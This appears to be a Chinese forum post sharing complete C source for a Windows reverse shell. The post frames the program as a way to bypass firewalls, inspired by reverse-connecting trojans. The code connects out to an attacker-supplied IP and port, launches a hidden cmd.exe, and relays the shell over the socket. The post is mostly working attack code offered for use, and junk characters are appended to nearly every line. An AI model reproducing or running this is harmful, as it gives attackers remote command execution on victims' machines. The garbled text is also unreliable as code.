这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8]j*z n?,
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/* ============================== {u)>W@Lr
Rebound port in Windows NT SS*3Qx:[
By wind,2006/7
Ci(c`1av
===============================*/ @<`P-+m
#include #G!\MYfQt
#include B|SE |
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#pragma comment(lib,"wsock32.lib") c$^~7.~{Qy
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void OutputShell(); ^ DCBL&I
SOCKET sClient; x|`BF%e/v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Aa4 DJ
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void main(int argc,char **argv) %fMFcL#h
{ R1vuf*A5,
WSADATA stWsaData; ,xI
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int nRet; 9v@P|
SOCKADDR_IN stSaiClient,stSaiServer; i+ICgMcd
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if(argc != 3) ^?5HagA
{ H7%q[O
printf("Useage:\n\rRebound DestIP DestPort\n"); ToR@XL!%rP
return; "6q@}sz!
} ;u;_\k<qK
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WSAStartup(MAKEWORD(2,2),&stWsaData); \=uD)9V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zS*vKyye>
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stSaiClient.sin_family = AF_INET; +vt?3i\^.
stSaiClient.sin_port = htons(0); {H3B1*Dk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i F \H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O-&^;]ieJ
{ %f 5c,}
printf("Bind Socket Failed!\n"); >!MRk[@
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return; xSrjN
} 7:e5l19 uI
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stSaiServer.sin_family = AF_INET; P&IS$FC.\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IoZ_zz0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bF'Jm*f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~,7Tj
{ MO%+rf0~w
printf("Connect Error!"); K_F"j!0
return; 'U-8w@\Z
} P!dSJ1'oC
OutputShell(); b_f"(l8'S
} N\anjG
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void OutputShell() <:4b4Nl
{ SZvp%hS0
char szBuff[1024]; [ J4n%
SECURITY_ATTRIBUTES stSecurityAttributes; CsEU:v
OSVERSIONINFO stOsversionInfo; A|YiSwyy
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _*ar\A`
STARTUPINFO stStartupInfo; I]a [Ngj
char *szShell; f7/M _sx
PROCESS_INFORMATION stProcessInformation; P'^& SK
unsigned long lBytesRead; MM6PaD{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4%#q.qI
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fJ=v?
stSecurityAttributes.lpSecurityDescriptor = 0; QXW>}GdKZ
stSecurityAttributes.bInheritHandle = TRUE; qOv`&%txW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o8Yq3N +
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k}C4:?AT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qM<CBcON
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pkv+^[(4
stStartupInfo.wShowWindow = SW_HIDE; a4n5i.;
stStartupInfo.hStdInput = hReadPipe; Ibg~.>.u{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '61>.u:2
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GetVersionEx(&stOsversionInfo); Nw{Cu+AwG
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switch(stOsversionInfo.dwPlatformId) tz5\O}
{ a7!{`fR5
case 1: ]k8f1F
szShell = "command.com"; f@2F!
break; 3$S~!fh
default: ZW4$Ks2]Y
szShell = "cmd.exe"; a(kY,<}
break; v
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} Rg^ps
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hj}PL
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send(sClient,szMsg,77,0); a"`>J!
while(1) "T*1C=
{ sX-@
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3m$ck$
if(lBytesRead) axOEL:-|Bu
{ Y<V$3h
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t37<<5A
send(sClient,szBuff,lBytesRead,0); N<b~,[yCd>
} BS
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else T;]Ob3(BpW
{ AiB]A}
lBytesRead=recv(sClient,szBuff,1024,0); virt[5w
if(lBytesRead<=0) break; (\'$$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zp5ZZcj_
} o=6 <?v7
} e]5NA?2j
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return; {u+=K-Bj
}